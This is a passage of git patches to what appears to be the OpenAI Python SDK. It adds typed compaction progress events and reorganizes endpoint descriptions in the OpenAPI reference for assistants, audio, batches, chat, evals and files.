index 2be1b85cbf..01ddaa48e5 100644
--- a/src/openai/resources/realtime/api.md
+++ b/src/openai/resources/realtime/api.md
@@ -20,7 +20,6 @@ from openai.types.realtime import (
ConversationItemRetrieveEvent,
ConversationItemTruncateEvent,
ConversationItemTruncatedEvent,
- ConversationItemWithReference,
InputAudioBufferAppendEvent,
InputAudioBufferClearEvent,
InputAudioBufferClearedEvent,
@@ -69,7 +68,6 @@ from openai.types.realtime import (
RealtimeResponseUsageInputTokenDetails,
RealtimeResponseUsageOutputTokenDetails,
RealtimeServerEvent,
- RealtimeSession,
RealtimeSessionCreateRequest,
RealtimeToolChoiceConfig,
RealtimeToolsConfig,
@@ -79,22 +77,6 @@ from openai.types.realtime import (
RealtimeTranscriptionSessionAudioInput,
RealtimeTranscriptionSessionAudioInputTurnDetection,
RealtimeTranscriptionSessionCreateRequest,
- RealtimeTranslationClientEvent,
- RealtimeTranslationClientSecretCreateRequest,
- RealtimeTranslationClientSecretCreateResponse,
- RealtimeTranslationInputAudioBufferAppendEvent,
- RealtimeTranslationInputTranscriptDeltaEvent,
- RealtimeTranslationOutputAudioDeltaEvent,
- RealtimeTranslationOutputTranscriptDeltaEvent,
- RealtimeTranslationServerEvent,
- RealtimeTranslationSession,
- RealtimeTranslationSessionCloseEvent,
- RealtimeTranslationSessionClosedEvent,
- RealtimeTranslationSessionCreateRequest,
- RealtimeTranslationSessionCreatedEvent,
- RealtimeTranslationSessionUpdateEvent,
- RealtimeTranslationSessionUpdateRequest,
- RealtimeTranslationSessionUpdatedEvent,
RealtimeTruncation,
RealtimeTruncationRetentionRatio,
ResponseAudioDeltaEvent,
@@ -121,8 +103,6 @@ from openai.types.realtime import (
SessionCreatedEvent,
SessionUpdateEvent,
SessionUpdatedEvent,
- TranscriptionSessionUpdate,
- TranscriptionSessionUpdatedEvent,
)
```
From 98e1d24f4902ab58830adf0e2b6a729a5d5429b1 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Wed, 16 Sep 2026 00:03:11 +0000
Subject: [PATCH 155/341] feat(api): add compaction progress events (#3866)
## Summary
Adds typed compaction progress notifications to Responses streams and
WebSocket connections.
## Changes
- Expose response.compaction.compacting with its item ID, output index,
and sequence number
- Pass progress notifications through response stream helpers without
changing the accumulated response
- Recognize credit_balance_exhausted errors from managed agent turns
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api.md | 1 +
api_reference/openapi.transformed.yml | 1741 ++++++++---------
src/openai/lib/streaming/responses/_events.py | 2 +
src/openai/resources/responses/api.md | 1 +
src/openai/types/beta/__init__.py | 3 +
...ta_response_compaction_compacting_event.py | 37 +
.../types/beta/beta_response_stream_event.py | 2 +
.../types/beta/beta_responses_server_event.py | 17 +
src/openai/types/beta/session_turn_error.py | 2 +
src/openai/types/responses/__init__.py | 1 +
.../response_compaction_compacting_event.py | 26 +
.../types/responses/response_stream_event.py | 2 +
.../types/responses/responses_server_event.py | 17 +
.../lib/responses/test_compaction_progress.py | 96 +
15 files changed, 977 insertions(+), 985 deletions(-)
create mode 100644 src/openai/types/beta/beta_response_compaction_compacting_event.py
create mode 100644 src/openai/types/responses/response_compaction_compacting_event.py
create mode 100644 tests/lib/responses/test_compaction_progress.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 44f5655611..41ad782b11 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 9ec2967e-f0f8-4420-953e-cb31261a5a8a
-openapi_spec_hash: 3bbe70558d1cb860c1efbfd901285796
-openapi_transformed_spec_hash: 2daccabc873f61eec5ef07ab28b20a1a
-config_hash: c234968a5221983d6e4315cda9d36d23
-codegen_sha: 9ec21f6ef6a3fd8be529cc946215aca0463d428b
-codegen_hash: 4dad11f5246be0417f84d976702857756cf2866bb30c3e55ea9bd4bd88b94ff7
-public_codegen_sha: aeba177b25f6675f346ee8f64e09c240762bd0fe
+generation_id: 1dba08ed-2ec0-4f9d-b80c-cd64e06d3d6b
+openapi_spec_hash: 01a80628980df0e3afb067afc83a4102
+openapi_transformed_spec_hash: 45b725ed6d2d50274ed7028e99f92a41
+config_hash: abfd506c4a4bdd94cae1635a850572d7
+codegen_sha: 97860312ce35ae326842b8e396b5d803e7ed477b
+codegen_hash: 82d5f99caa7d2c6c65439f46cfe2f340df988cb5f741a8615c0f3e7eeeba778f
+public_codegen_sha: a214fd492bccb42ef14b5c45ce1e095c08fd4153
diff --git a/api.md b/api.md
index a3f1b01052..369769390e 100644
--- a/api.md
+++ b/api.md
@@ -785,6 +785,7 @@ from openai.types.beta import (
BetaResponseCodeInterpreterCallInProgressEvent,
BetaResponseCodeInterpreterCallInterpretingEvent,
BetaResponseCodeInterpreterToolCall,
+ BetaResponseCompactionCompactingEvent,
BetaResponseCompactionItem,
BetaResponseCompactionItemParam,
BetaResponseCompletedEvent,
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index f9513d5e9d..e31f7a0e1c 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -54,6 +54,7 @@ paths:
tags:
- Assistants
summary: List assistants
+ description: Returns a list of assistants.
deprecated: true
parameters:
- name: limit
@@ -96,7 +97,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List assistants
group: assistants
examples:
request:
@@ -183,12 +183,12 @@ paths:
"last_id": "asst_abc789",
"has_more": false
}
- description: Returns a list of assistants.
post:
operationId: createAssistant
tags:
- Assistants
summary: Create assistant
+ description: Create an assistant with a model and instructions.
deprecated: true
requestBody:
required: true
@@ -206,7 +206,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create assistant
group: assistants
examples:
- title: Code Interpreter
@@ -342,13 +341,13 @@ paths:
"temperature": 1.0,
"response_format": "auto"
}
- description: Create an assistant with a model and instructions.
/assistants/{assistant_id}:
get:
operationId: getAssistant
tags:
- Assistants
summary: Retrieve assistant
+ description: Retrieves an assistant.
deprecated: true
parameters:
- in: path
@@ -367,7 +366,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve assistant
group: assistants
examples:
request:
@@ -415,12 +413,12 @@ paths:
"temperature": 1.0,
"response_format": "auto"
}
- description: Retrieves an assistant.
post:
operationId: modifyAssistant
tags:
- Assistants
summary: Modify assistant
+ description: Modifies an assistant.
deprecated: true
parameters:
- in: path
@@ -445,7 +443,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Modify assistant
group: assistants
examples:
request:
@@ -517,12 +514,12 @@ paths:
"temperature": 1.0,
"response_format": "auto"
}
- description: Modifies an assistant.
delete:
operationId: deleteAssistant
tags:
- Assistants
summary: Delete assistant
+ description: Delete an assistant.
deprecated: true
parameters:
- in: path
@@ -541,7 +538,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete assistant
group: assistants
examples:
request:
@@ -574,13 +570,16 @@ paths:
"object": "assistant.deleted",
"deleted": true
}
- description: Delete an assistant.
/audio/speech:
post:
operationId: createSpeech
tags:
- Audio
summary: Create speech
+ description: |
+ Generates audio from the input text.
+
+ Returns the audio file content, or a stream of audio events.
requestBody:
required: true
content:
@@ -608,7 +607,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create speech
group: audio
examples:
- title: Default
@@ -684,16 +682,17 @@ paths:
"voice": "alloy",
"stream_format": "sse"
}'
- description: |
- Generates audio from the input text.
-
- Returns the audio file content, or a stream of audio events.
/audio/transcriptions:
post:
operationId: createTranscription
tags:
- Audio
summary: Create transcription
+ description: |
+ Transcribes audio into the input language.
+
+ Returns a transcription object in `json`, `diarized_json`, or `verbose_json`
+ format, or a stream of transcript events.
requestBody:
required: true
content:
@@ -722,7 +721,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create transcription
group: audio
examples:
- title: Default
@@ -1247,17 +1245,13 @@ paths:
"seconds": 9
}
}
- description: |
- Transcribes audio into the input language.
-
- Returns a transcription object in `json`, `diarized_json`, or `verbose_json`
- format, or a stream of transcript events.
/audio/translations:
post:
operationId: createTranslation
tags:
- Audio
summary: Create translation
+ description: Translates audio into English.
requestBody:
required: true
content:
@@ -1280,7 +1274,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create translation
group: audio
examples:
request:
@@ -1333,7 +1326,6 @@ paths:
{
"text": "Hello, my name is Wolfgang and I come from Germany. Where are you heading today?"
}
- description: Translates audio into English.
/audio/voice_consents:
post:
operationId: createVoiceConsent
@@ -1355,7 +1347,6 @@ paths:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
x-oaiMeta:
- name: Create voice consent
group: audio
examples:
request:
@@ -1396,7 +1387,6 @@ paths:
schema:
$ref: '#/components/schemas/VoiceConsentListResource'
x-oaiMeta:
- name: List voice consents
group: audio
examples:
request:
@@ -1425,7 +1415,6 @@ paths:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
x-oaiMeta:
- name: Retrieve voice consent
group: audio
examples:
request:
@@ -1459,7 +1448,6 @@ paths:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
x-oaiMeta:
- name: Update voice consent
group: audio
examples:
request:
@@ -1492,7 +1480,6 @@ paths:
schema:
$ref: '#/components/schemas/VoiceConsentDeletedResource'
x-oaiMeta:
- name: Delete voice consent
group: audio
examples:
request:
@@ -1521,7 +1508,6 @@ paths:
schema:
$ref: '#/components/schemas/VoiceResource'
x-oaiMeta:
- name: Create voice
group: audio
examples:
request:
@@ -1535,6 +1521,7 @@ paths:
/batches:
post:
summary: Create batch
+ description: Creates and executes a batch from an uploaded file of requests
operationId: createBatch
tags:
- Batch
@@ -1552,7 +1539,6 @@ paths:
schema:
$ref: '#/components/schemas/Batch'
x-oaiMeta:
- name: Create batch
group: batch
examples:
request:
@@ -1620,12 +1606,12 @@ paths:
"batch_description": "Nightly eval job",
}
}
- description: Creates and executes a batch from an uploaded file of requests
get:
operationId: listBatches
tags:
- Batch
summary: List batches
+ description: List your organization's batches.
parameters:
- in: query
name: after
@@ -1650,7 +1636,6 @@ paths:
schema:
$ref: '#/components/schemas/ListBatchesResponse'
x-oaiMeta:
- name: List batches
group: batch
examples:
request:
@@ -1716,13 +1701,13 @@ paths:
"last_id": "batch_abc456",
"has_more": true
}
- description: List your organization's batches.
/batches/{batch_id}:
get:
operationId: retrieveBatch
tags:
- Batch
summary: Retrieve batch
+ description: Retrieves a batch.
parameters:
- in: path
name: batch_id
@@ -1738,7 +1723,6 @@ paths:
schema:
$ref: '#/components/schemas/Batch'
x-oaiMeta:
- name: Retrieve batch
group: batch
examples:
request:
@@ -1793,13 +1777,13 @@ paths:
"batch_description": "Nightly eval job",
}
}
- description: Retrieves a batch.
/batches/{batch_id}/cancel:
post:
operationId: cancelBatch
tags:
- Batch
summary: Cancel batch
+ description: Cancels an in-progress batch. The batch will be in status `cancelling` for up to 10 minutes, before changing to `cancelled`, where it will have partial results (if any) available in the output file.
parameters:
- in: path
name: batch_id
@@ -1815,7 +1799,6 @@ paths:
schema:
$ref: '#/components/schemas/Batch'
x-oaiMeta:
- name: Cancel batch
group: batch
examples:
request:
@@ -1871,13 +1854,15 @@ paths:
"batch_description": "Nightly eval job",
}
}
- description: Cancels an in-progress batch. The batch will be in status `cancelling` for up to 10 minutes, before changing to `cancelled`, where it will have partial results (if any) available in the output file.
/chat/completions:
get:
operationId: listChatCompletions
tags:
- Chat
summary: List Chat Completions
+ description: |
+ List stored Chat Completions. Only Chat Completions that have been stored
+ with the `store` parameter set to `true` will be returned.
parameters:
- name: model
in: query
@@ -1925,7 +1910,6 @@ paths:
schema:
$ref: '#/components/schemas/ChatCompletionList'
x-oaiMeta:
- name: List Chat Completions
group: chat
path: list
examples:
@@ -1986,14 +1970,30 @@ paths:
"last_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
"has_more": false
}
- description: |
- List stored Chat Completions. Only Chat Completions that have been stored
- with the `store` parameter set to `true` will be returned.
post:
operationId: createChatCompletion
tags:
- Chat
summary: Create chat completion
+ description: |
+ **Starting a new project?** We recommend trying [Responses](https://developers.openai.com/api/reference/resources/responses)
+ to take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
+
+ ---
+
+ Creates a model response for the given chat conversation. Learn more in the
+ [text generation](https://developers.openai.com/api/docs/guides/text), [vision](https://developers.openai.com/api/docs/guides/images-vision),
+ and [audio](https://developers.openai.com/api/docs/guides/audio) guides.
+
+ Parameter support can differ depending on the model used to generate the
+ response, particularly for newer reasoning models. Parameters that are only
+ supported for reasoning models are noted below. For the current state of
+ unsupported parameters in reasoning models,
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
+
+ Returns a chat completion object, or a streamed sequence of chat completion
+ chunk objects if the request is streamed.
requestBody:
required: true
content:
@@ -2015,7 +2015,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create chat completion
group: chat
path: create
examples:
@@ -2816,31 +2815,15 @@ paths:
},
"system_fingerprint": null
}
- description: |
- **Starting a new project?** We recommend trying [Responses](https://developers.openai.com/api/reference/resources/responses)
- to take advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
-
- ---
-
- Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://developers.openai.com/api/docs/guides/text), [vision](https://developers.openai.com/api/docs/guides/images-vision),
- and [audio](https://developers.openai.com/api/docs/guides/audio) guides.
-
- Parameter support can differ depending on the model used to generate the
- response, particularly for newer reasoning models. Parameters that are only
- supported for reasoning models are noted below. For the current state of
- unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
-
- Returns a chat completion object, or a streamed sequence of chat completion
- chunk objects if the request is streamed.
/chat/completions/{completion_id}:
get:
operationId: getChatCompletion
tags:
- Chat
summary: Get chat completion
+ description: |
+ Get a stored chat completion. Only Chat Completions that have been created
+ with the `store` parameter set to `true` will be returned.
parameters:
- in: path
name: completion_id
@@ -2856,7 +2839,6 @@ paths:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
x-oaiMeta:
- name: Get chat completion
group: chat
examples:
request:
@@ -2910,14 +2892,15 @@ paths:
],
"response_format": null
}
- description: |
- Get a stored chat completion. Only Chat Completions that have been created
- with the `store` parameter set to `true` will be returned.
post:
operationId: updateChatCompletion
tags:
- Chat
summary: Update chat completion
+ description: |
+ Modify a stored chat completion. Only Chat Completions that have been
+ created with the `store` parameter set to `true` can be modified. Currently,
+ the only supported modification is to update the `metadata` field.
parameters:
- in: path
name: completion_id
@@ -2944,7 +2927,6 @@ paths:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
x-oaiMeta:
- name: Update chat completion
group: chat
examples:
request:
@@ -3001,15 +2983,14 @@ paths:
],
"response_format": null
}
- description: |
- Modify a stored chat completion. Only Chat Completions that have been
- created with the `store` parameter set to `true` can be modified. Currently,
- the only supported modification is to update the `metadata` field.
delete:
operationId: deleteChatCompletion
tags:
- Chat
summary: Delete chat completion
+ description: |
+ Delete a stored chat completion. Only Chat Completions that have been
+ created with the `store` parameter set to `true` can be deleted.
parameters:
- in: path
name: completion_id
@@ -3025,7 +3006,6 @@ paths:
schema:
$ref: '#/components/schemas/ChatCompletionDeleted'
x-oaiMeta:
- name: Delete chat completion
group: chat
examples:
request:
@@ -3047,15 +3027,16 @@ paths:
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
"deleted": true
}
- description: |
- Delete a stored chat completion. Only Chat Completions that have been
- created with the `store` parameter set to `true` can be deleted.
/chat/completions/{completion_id}/messages:
get:
operationId: getChatCompletionMessages
tags:
- Chat
summary: Get chat messages
+ description: |
+ Get the messages in a stored chat completion. Only Chat Completions that
+ have been created with the `store` parameter set to `true` will be
+ returned.
parameters:
- in: path
name: completion_id
@@ -3094,7 +3075,6 @@ paths:
schema:
$ref: '#/components/schemas/ChatCompletionMessageList'
x-oaiMeta:
- name: Get chat messages
group: chat
examples:
request:
@@ -3127,16 +3107,16 @@ paths:
"last_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
"has_more": false
}
- description: |
- Get the messages in a stored chat completion. Only Chat Completions that
- have been created with the `store` parameter set to `true` will be
- returned.
/completions:
post:
operationId: createCompletion
tags:
- Completions
summary: Create completion
+ description: |
+ Creates a completion for the provided prompt and parameters.
+
+ Returns a completion object, or a sequence of completion objects if the request is streamed.
requestBody:
required: true
content:
@@ -3155,7 +3135,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create completion
group: completions
legacy: true
examples:
@@ -3276,10 +3255,6 @@ paths:
"model": "gpt-3.5-turbo-instruct"
"system_fingerprint": "fp_44709d6fcb",
}
- description: |
- Creates a completion for the provided prompt and parameters.
-
- Returns a completion object, or a sequence of completion objects if the request is streamed.
/containers:
get:
summary: List containers
@@ -3326,7 +3301,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List containers
group: containers
path: get
examples:
@@ -3376,7 +3350,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create container
group: containers
path: post
examples:
@@ -3443,7 +3416,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve container
group: containers
path: get
examples:
@@ -3482,7 +3454,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete a container
group: containers
path: delete
examples:
@@ -3529,7 +3500,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create container file
group: containers
path: post
examples:
@@ -3592,7 +3562,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List container files
group: containers
path: get
examples:
@@ -3644,7 +3613,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve container file
group: containers
path: get
examples:
@@ -3683,7 +3651,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete a container file
group: containers
path: delete
examples:
@@ -3719,7 +3686,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve container file content
group: containers
path: get
examples:
@@ -3735,6 +3701,7 @@ paths:
tags:
- Conversations
summary: Create items
+ description: Create items in a conversation with the given ID.
parameters:
- in: path
name: conversation_id
@@ -3778,7 +3745,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create items
group: conversations
path: create-item
examples:
@@ -3909,12 +3875,12 @@ paths:
"last_id": "msg_def",
"has_more": false
}
- description: Create items in a conversation with the given ID.
get:
operationId: listConversationItems
tags:
- Conversations
summary: List items
+ description: List all items for a conversation with the given ID.
parameters:
- in: path
name: conversation_id
@@ -3975,7 +3941,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List items
group: conversations
path: list-items
examples:
@@ -4026,13 +3991,13 @@ paths:
"last_id": "msg_abc",
"has_more": false
}
- description: List all items for a conversation with the given ID.
/conversations/{conversation_id}/items/{item_id}:
get:
operationId: getConversationItem
tags:
- Conversations
summary: Retrieve an item
+ description: Get a single item from a conversation with the given IDs.
parameters:
- in: path
name: conversation_id
@@ -4068,7 +4033,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve an item
group: conversations
path: get-item
examples:
@@ -4114,12 +4078,12 @@ paths:
{"type": "input_text", "text": "Hello!"}
]
}
- description: Get a single item from a conversation with the given IDs.
delete:
operationId: deleteConversationItem
tags:
- Conversations
summary: Delete an item
+ description: Delete an item from a conversation with the given IDs.
parameters:
- in: path
name: conversation_id
@@ -4145,7 +4109,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete an item
group: conversations
path: delete-item
examples:
@@ -4188,13 +4151,13 @@ paths:
"created_at": 1741900000,
"metadata": {"topic": "demo"}
}
- description: Delete an item from a conversation with the given IDs.
/embeddings:
post:
operationId: createEmbedding
tags:
- Embeddings
summary: Create embeddings
+ description: Creates an embedding vector representing the input text.
requestBody:
required: true
content:
@@ -4213,7 +4176,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create embeddings
group: embeddings
examples:
request:
@@ -4289,13 +4251,14 @@ paths:
"total_tokens": 8
}
}
- description: Creates an embedding vector representing the input text.
/evals:
get:
operationId: listEvals
tags:
- Evals
summary: List evals
+ description: |
+ List evaluations for a project.
parameters:
- name: after
in: query
@@ -4342,7 +4305,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List evals
group: evals
path: list
examples:
@@ -4437,13 +4399,15 @@ paths:
"last_id": "eval_67aa884cf6688190b58f657d4441c8b7",
"has_more": true
}
- description: |
- List evaluations for a project.
post:
operationId: createEval
tags:
- Evals
summary: Create eval
+ description: |
+ Create the structure of an evaluation that can be used to test a model's performance.
+ An evaluation is a set of testing criteria and the config for a data source, which dictates the schema of the data used in the evaluation. After creating an evaluation, you can run it on different models and model parameters. We support several types of graders and datasources.
+ For more information, see the [Evals guide](https://developers.openai.com/api/docs/guides/evals).
requestBody:
required: true
content:
@@ -4460,7 +4424,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create eval
group: evals
path: post
examples:
@@ -4617,16 +4580,14 @@ paths:
"description": "An eval for sentiment analysis"
}
}
- description: |
- Create the structure of an evaluation that can be used to test a model's performance.
- An evaluation is a set of testing criteria and the config for a data source, which dictates the schema of the data used in the evaluation. After creating an evaluation, you can run it on different models and model parameters. We support several types of graders and datasources.
- For more information, see the [Evals guide](https://developers.openai.com/api/docs/guides/evals).
/evals/{eval_id}:
get:
operationId: getEval
tags:
- Evals
summary: Get an eval
+ description: |
+ Get an evaluation by ID.
parameters:
- name: eval_id
in: path
@@ -4644,7 +4605,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get an eval
group: evals
path: get
examples:
@@ -4710,13 +4670,13 @@ paths:
"created_at": 1739314509,
"metadata": {},
}
- description: |
- Get an evaluation by ID.
post:
operationId: updateEval
tags:
- Evals
summary: Update an eval
+ description: |
+ Update certain properties of an evaluation.
parameters:
- name: eval_id
in: path
@@ -4747,7 +4707,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Update an eval
group: evals
path: update
examples:
@@ -4824,13 +4783,13 @@ paths:
"created_at": 1739314509,
"metadata": {"description": "Updated description"},
}
- description: |
- Update certain properties of an evaluation.
delete:
operationId: deleteEval
tags:
- Evals
summary: Delete an eval
+ description: |
+ Delete an evaluation.
parameters:
- name: eval_id
in: path
@@ -4868,7 +4827,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete an eval
group: evals
examples:
request:
@@ -4895,14 +4853,14 @@ paths:
"deleted": true,
"eval_id": "eval_abc123"
}
- description: |
- Delete an evaluation.
/evals/{eval_id}/runs:
get:
operationId: getEvalRuns
tags:
- Evals
summary: Get eval runs
+ description: |
+ Get a list of runs for an evaluation.
parameters:
- name: eval_id
in: path
@@ -4955,7 +4913,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get eval runs
group: evals
path: get-runs
examples:
@@ -5057,13 +5014,13 @@ paths:
"last_id": "evalrun_67e0c7d31560819090d60c0780591042",
"has_more": true
}
- description: |
- Get a list of runs for an evaluation.
post:
operationId: createEvalRun
tags:
- Evals
summary: Create eval run
+ description: |
+ Kicks off a new run for a given evaluation, specifying the data source, and what model configuration to use to test. The datasource will be validated against the schema specified in the config of the evaluation.
parameters:
- in: path
name: eval_id
@@ -5093,7 +5050,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create eval run
group: evals
examples:
request:
@@ -5246,14 +5202,14 @@ paths:
"error": null,
"metadata": {}
}
- description: |
- Kicks off a new run for a given evaluation, specifying the data source, and what model configuration to use to test. The datasource will be validated against the schema specified in the config of the evaluation.
/evals/{eval_id}/runs/{run_id}:
get:
operationId: getEvalRun
tags:
- Evals
summary: Get an eval run
+ description: |
+ Get an evaluation run by ID.
parameters:
- name: eval_id
in: path
@@ -5277,7 +5233,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get an eval run
group: evals
path: get
examples:
@@ -5449,13 +5404,13 @@ paths:
"error": null,
"metadata": {}
}
- description: |
- Get an evaluation run by ID.
post:
operationId: cancelEvalRun
tags:
- Evals
summary: Cancel eval run
+ description: |
+ Cancel an ongoing evaluation run.
parameters:
- name: eval_id
in: path
@@ -5479,7 +5434,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Cancel eval run
group: evals
path: post
examples:
@@ -5652,13 +5606,13 @@ paths:
"error": null,
"metadata": {}
}
- description: |
- Cancel an ongoing evaluation run.
delete:
operationId: deleteEvalRun
tags:
- Evals
summary: Delete eval run
+ description: |
+ Delete an eval run.
parameters:
- name: eval_id
in: path
@@ -5698,7 +5652,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete eval run
group: evals
path: delete
examples:
@@ -5733,14 +5686,14 @@ paths:
"deleted": true,
"run_id": "evalrun_abc456"
}
- description: |
- Delete an eval run.
/evals/{eval_id}/runs/{run_id}/output_items:
get:
operationId: getEvalRunOutputItems
tags:
- Evals
summary: Get eval run output items
+ description: |
+ Get a list of output items for an evaluation run.
parameters:
- name: eval_id
in: path
@@ -5798,7 +5751,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get eval run output items
group: evals
path: get
examples:
@@ -5896,14 +5848,14 @@ paths:
"last_id": "outputitem_67e5796c28e081909917bf79f6e6214d",
"has_more": true
}
- description: |
- Get a list of output items for an evaluation run.
/evals/{eval_id}/runs/{run_id}/output_items/{output_item_id}:
get:
operationId: getEvalRunOutputItem
tags:
- Evals
summary: Get an output item of an eval run
+ description: |
+ Get an evaluation run output item by ID.
parameters:
- name: eval_id
in: path
@@ -5933,7 +5885,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get an output item of an eval run
group: evals
path: get
examples:
@@ -6027,14 +5978,13 @@ paths:
"seed": 42
}
}
- description: |
- Get an evaluation run output item by ID.
/files:
get:
operationId: listFiles
tags:
- Files
summary: List files
+ description: Returns a list of files.
parameters:
- in: query
name: purpose
@@ -6074,7 +6024,6 @@ paths:
schema:
$ref: '#/components/schemas/ListFilesResponse'
x-oaiMeta:
- name: List files
group: files
examples:
request:
@@ -6127,12 +6076,37 @@ paths:
"last_id": "file-abc456",
"has_more": false
}
- description: Returns a list of files.
post:
operationId: createFile
tags:
- Files
summary: Upload file
+ description: |
+ Upload a file that can be used across various endpoints. Individual files
+ can be up to 512 MB, and each project can store up to 2.5 TB of files in
+ total. There is no organization-wide storage limit. Uploads to this
+ endpoint are rate-limited to 1,000 requests per minute per authenticated
+ user.
+
+ - The Assistants API supports files up to 2 million tokens and of specific
+ file types. See the [Assistants Tools guide](https://developers.openai.com/api/docs/guides/tools) for
+ details.
+ - The Fine-tuning API only supports `.jsonl` files. The input also has
+ certain required formats for fine-tuning
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) or
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) models.
+ - The Batch API only supports `.jsonl` files up to 200 MB in size. The input
+ also has a specific required
+ [format](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file).
+ - For Retrieval or `file_search` ingestion, upload files here first. If
+ you need to attach multiple uploaded files to the same vector store, use
+ [`/vector_stores/{vector_store_id}/file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
+ instead of attaching them one by one. Vector store attachment has separate
+ limits from file upload, including 2,000 attached files per minute per
+ organization.
+
+ Please [contact us](https://help.openai.com/) if you need to increase these
+ storage limits.
requestBody:
required: true
content:
@@ -6147,10 +6121,7 @@ paths:
schema:
$ref: '#/components/schemas/OpenAIFile'
x-oaiMeta:
- name: Upload file
group: files
- description: |
- Uploads a file for later use across OpenAI APIs. Uploads to this endpoint are rate-limited to 1,000 requests per minute per authenticated user. For Retrieval or `file_search` ingestion, upload files here first. If you need to attach multiple uploaded files to the same vector store, use vector store file batches instead of attaching them one by one.
examples:
request:
curl: |
@@ -6202,38 +6173,13 @@ paths:
"filename": "mydata.jsonl",
"purpose": "fine-tune",
}
- description: |
- Upload a file that can be used across various endpoints. Individual files
- can be up to 512 MB, and each project can store up to 2.5 TB of files in
- total. There is no organization-wide storage limit. Uploads to this
- endpoint are rate-limited to 1,000 requests per minute per authenticated
- user.
-
- - The Assistants API supports files up to 2 million tokens and of specific
- file types. See the [Assistants Tools guide](https://developers.openai.com/api/docs/guides/tools) for
- details.
- - The Fine-tuning API only supports `.jsonl` files. The input also has
- certain required formats for fine-tuning
